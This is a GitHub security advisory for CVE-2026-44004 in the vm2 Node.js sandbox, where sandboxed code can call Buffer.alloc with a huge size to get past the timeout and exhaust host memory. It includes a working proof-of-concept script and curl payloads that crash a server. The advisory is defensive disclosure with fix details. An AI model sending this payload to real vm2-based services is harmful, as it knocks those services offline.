GHSA-6785-PVV7-MVG7
Vulnerability from github – Published: 2026-05-07 04:26 – Updated: 2026-05-14 20:36Summary
Sandboxed code can call Buffer.alloc() with an arbitrary size to allocate memory directly on the host heap. Because Buffer.alloc is a synchronous C++ native call, vm2's timeout option cannot interrupt it. A single request can exhaust host memory and crash the process with a FATAL ERROR: Reached heap limit.
Details
In lib/vm.js:58, Buffer is exposed to the sandbox through the HOST object. The bridge proxy (lib/bridge.js) passes Buffer.alloc() calls to the host without any size validation.
Key technical distinction from regular JavaScript memory exhaustion (e.g., while(true) a.push(...)):
- JavaScript loops: V8 can interrupt via timeout — vm2's timeout option works
- Buffer.alloc(N): Executes as a single synchronous C++ call — V8 timeout has no opportunity to interrupt
This means:
1. timeout: 5000 does NOT protect against this attack
2. A single call allocates the entire requested size at once
3. In memory-constrained environments (Docker, Lambda, Kubernetes pods), this causes immediate OOM crash
Tested amplification factor: ~100 bytes HTTP request — 1,000,000:1 or greater (100 bytes request to 100MB+ host heap allocation).
PoC
Library-level PoC (Node.js script — primary):
const { VM } = require("vm2");
const vm = new VM({ timeout: 5000 });
// Buffer.alloc bypasses timeout — allocates 100MB on host heap
const result = vm.run(`Buffer.alloc(1024*1024*100).length`);
console.log(result); // 104857600 — timeout had no effect
// Control test — JavaScript loop IS caught by timeout
try {
vm.run(`var a=[]; while(true) a.push(1)`);
} catch(e) {
console.log(e.message); // "Script execution timed out after 5000ms"
}
HTTP demonstration (OOM crash):
# 1. Confirm server is running
curl -s http://localhost:3000/api/execute \
-X POST -H "Content-Type: application/json" \
-d '{"code":"\"alive\""}'
# => {"result":"\"alive\""}
# 2. Send Buffer.alloc payload — process crashes with OOM
curl -s -X POST http://localhost:3000/api/execute \
-H "Content-Type: application/json" \
-d '{"code":"Buffer.alloc(1024*1024*100).length"}'
# => empty response (process died)
# 3. Check server logs:
# FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
# Control test — JavaScript loop IS caught by timeout:
curl -s -X POST http://localhost:3000/api/execute \
-H "Content-Type: application/json" \
-d '{"code":"var a=[]; while(true) a.push(1)"}'
# => {"errors":["Script execution timed out after 5000ms"]}
# Server stays alive — timeout works for JS, but NOT for Buffer.alloc
Impact
- DoS: A single HTTP request crashes the host Node.js process via OOM. The
timeoutoption provides no protection. - Environment-dependent severity:
- Memory-constrained environments (Docker with memory limits, Kubernetes pods, Lambda): The allocation exceeds the memory limit, causing immediate process termination via OOM. This is the primary threat scenario —
FATAL ERROR: Reached heap limitwas confirmed in testing. - Unconstrained environments: The allocation succeeds and memory is reclaimed by GC after the request completes, resulting in temporary performance degradation rather than a crash.
- Scope: All applications using vm2. Default configuration is vulnerable. Memory-constrained environments (Docker, Kubernetes, Lambda) are most severely impacted.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.10.5"
},
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.11.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44004"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T04:26:39Z",
"nvd_published_at": "2026-05-13T18:16:17Z",
"severity": "HIGH"
},
"details": "### Summary\nSandboxed code can call `Buffer.alloc()` with an arbitrary size to allocate memory directly on the host heap. Because `Buffer.alloc` is a synchronous C++ native call, vm2\u0027s `timeout` option cannot interrupt it. A single request can exhaust host memory and crash the process with a `FATAL ERROR: Reached heap limit`.\n\n### Details\nIn `lib/vm.js:58`, `Buffer` is exposed to the sandbox through the `HOST` object. The bridge proxy (`lib/bridge.js`) passes `Buffer.alloc()` calls to the host without any size validation.\n\nKey technical distinction from regular JavaScript memory exhaustion (e.g., `while(true) a.push(...)`):\n- **JavaScript loops**: V8 can interrupt via timeout \u2014 vm2\u0027s `timeout` option works\n- **`Buffer.alloc(N)`**: Executes as a single synchronous C++ call \u2014 V8 timeout has no opportunity to interrupt\n\nThis means:\n1. `timeout: 5000` does NOT protect against this attack\n2. A single call allocates the entire requested size at once\n3. In memory-constrained environments (Docker, Lambda, Kubernetes pods), this causes immediate OOM crash\n\nTested amplification factor: ~100 bytes HTTP request \u2014 1,000,000:1 or greater (100 bytes request to 100MB+ host heap allocation).\n\n### PoC\n\n**Library-level PoC (Node.js script \u2014 primary):**\n```javascript\nconst { VM } = require(\"vm2\");\nconst vm = new VM({ timeout: 5000 });\n\n// Buffer.alloc bypasses timeout \u2014 allocates 100MB on host heap\nconst result = vm.run(`Buffer.alloc(1024*1024*100).length`);\nconsole.log(result); // 104857600 \u2014 timeout had no effect\n\n// Control test \u2014 JavaScript loop IS caught by timeout\ntry {\n vm.run(`var a=[]; while(true) a.push(1)`);\n} catch(e) {\n console.log(e.message); // \"Script execution timed out after 5000ms\"\n}\n```\n\n**HTTP demonstration (OOM crash):**\n```bash\n# 1. Confirm server is running\ncurl -s http://localhost:3000/api/execute \\\n -X POST -H \"Content-Type: application/json\" \\\n -d \u0027{\"code\":\"\\\"alive\\\"\"}\u0027\n# =\u003e {\"result\":\"\\\"alive\\\"\"}\n\n# 2. Send Buffer.alloc payload \u2014 process crashes with OOM\ncurl -s -X POST http://localhost:3000/api/execute \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"code\":\"Buffer.alloc(1024*1024*100).length\"}\u0027\n# =\u003e empty response (process died)\n\n# 3. Check server logs:\n# FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory\n\n# Control test \u2014 JavaScript loop IS caught by timeout:\ncurl -s -X POST http://localhost:3000/api/execute \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"code\":\"var a=[]; while(true) a.push(1)\"}\u0027\n# =\u003e {\"errors\":[\"Script execution timed out after 5000ms\"]}\n# Server stays alive \u2014 timeout works for JS, but NOT for Buffer.alloc\n```\n\n### Impact\n- **DoS**: A single HTTP request crashes the host Node.js process via OOM. The `timeout` option provides no protection.\n- **Environment-dependent severity**:\n - **Memory-constrained environments** (Docker with memory limits, Kubernetes pods, Lambda): The allocation exceeds the memory limit, causing immediate process termination via OOM. This is the primary threat scenario \u2014 `FATAL ERROR: Reached heap limit` was confirmed in testing.\n - **Unconstrained environments**: The allocation succeeds and memory is reclaimed by GC after the request completes, resulting in temporary performance degradation rather than a crash.\n- **Scope**: All applications using vm2. Default configuration is vulnerable. Memory-constrained environments (Docker, Kubernetes, Lambda) are most severely impacted.",
"id": "GHSA-6785-pvv7-mvg7",
"modified": "2026-05-14T20:36:44Z",
"published": "2026-05-07T04:26:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-6785-pvv7-mvg7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44004"
},
{
"type": "PACKAGE",
"url": "https://github.com/patriksimek/vm2"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "vm2 Sandbox Access to Host Buffer.alloc Allows timeout Bypass Resulting in Memory Exhaustion"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.